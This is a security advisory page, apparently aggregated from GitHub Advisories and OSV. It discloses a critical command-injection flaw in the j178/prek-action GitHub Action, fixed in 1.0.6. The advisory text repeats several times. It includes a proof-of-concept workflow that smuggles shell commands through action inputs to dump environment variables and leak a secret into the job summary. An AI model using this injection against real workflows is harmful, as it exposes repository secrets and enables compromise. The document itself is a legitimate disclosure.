GHSA-pwf7-47c3-mfhx
j178/prek-action vulnerable to arbitrary code injection in composite action
Summary
There are three potential attacks of arbitrary code injection vulnerability in the composite action at action.yml.
Details
The GitHub Action variables inputs.prek-version, inputs.extra_args, and inputs.extra-args can be used to execute arbitrary code in the context of the action.
PoC
- uses: j178/prek-action@v1.0.5
with:
prek-version: $(printenv >> $GITHUB_STEP_SUMMARY && echo "0.2.2")
extra_args: '&& echo "MY_SECRET with a character is: ${MY_SECRET:0:1}a${MY_SECRET:1}" >> $GITHUB_STEP_SUMMARY && echo ""'
env:
MY_SECRET: ${{ secrets.MY_SECRET }}
The previous example will print all the environment variables, and it will expose MY_SECRET environment variable value to the summary of the workflow. An attacker could potentially use this vector to compromise the security of the target repository, even passing unnotice because the action will run normally.
Impact
Critical, CWE-94
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- Low
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- High
- Availability
- High
What each source reports
GitHub Advisories Score used
j178/prek-action vulnerable to arbitrary code injection in composite action
Summary
There are three potential attacks of arbitrary code injection vulnerability in the composite action at action.yml.
Details
The GitHub Action variables inputs.prek-version, inputs.extra_args, and inputs.extra-args can be used to execute arbitrary code in the context of the action.
PoC
- uses: j178/prek-action@v1.0.5
with:
prek-version: $(printenv >> $GITHUB_STEP_SUMMARY && echo "0.2.2")
extra_args: '&& echo "MY_SECRET with a character is: ${MY_SECRET:0:1}a${MY_SECRET:1}" >> $GITHUB_STEP_SUMMARY && echo ""'
env:
MY_SECRET: ${{ secrets.MY_SECRET }}
The previous example will print all the environment variables, and it will expose MY_SECRET environment variable value to the summary of the workflow. An attacker could potentially use this vector to compromise the security of the target repository, even passing unnotice because the action will run normally.
Impact
Critical, CWE-94
- Record
GHSA-pwf7-47c3-mfhx- CVSS 3.1
- 9.9 Critical
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H - Weakness
- CWE-94
- Updated
- 2026-11-02
OSV
j178/prek-action vulnerable to arbitrary code injection in composite action
Summary
There are three potential attacks of arbitrary code injection vulnerability in the composite action at action.yml.
Details
The GitHub Action variables inputs.prek-version, inputs.extra_args, and inputs.extra-args can be used to execute arbitrary code in the context of the action.
PoC
- uses: j178/prek-action@v1.0.5
with:
prek-version: $(printenv >> $GITHUB_STEP_SUMMARY && echo "0.2.2")
extra_args: '&& echo "MY_SECRET with a character is: ${MY_SECRET:0:1}a${MY_SECRET:1}" >> $GITHUB_STEP_SUMMARY && echo ""'
env:
MY_SECRET: ${{ secrets.MY_SECRET }}
The previous example will print all the environment variables, and it will expose MY_SECRET environment variable value to the summary of the workflow. An attacker could potentially use this vector to compromise the security of the target repository, even passing unnotice because the action will run normally.
Impact
Critical, CWE-94
- Record
GHSA-pwf7-47c3-mfhx- CVSS 3.1
- 9.9 Critical
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H - Weakness
- CWE-94
- Updated
- 2026-11-02
Affected packages
| Package | Affected | Fixed |
|---|---|---|
j178/prek-actionGitHub Actions | through 1.0.5 | 1.0.6 |
j178/prek-actionGitHub Actions | before 1.0.6 | 1.0.6 |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | GitHub Advisories, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
GHSA-pwf7-47c3-mfhx is a critical vulnerability (CVSS 9.9) in j178/prek-action, published September 29, 2025. No source lists public exploit code. Fixed in j178/prek-action 1.0.6.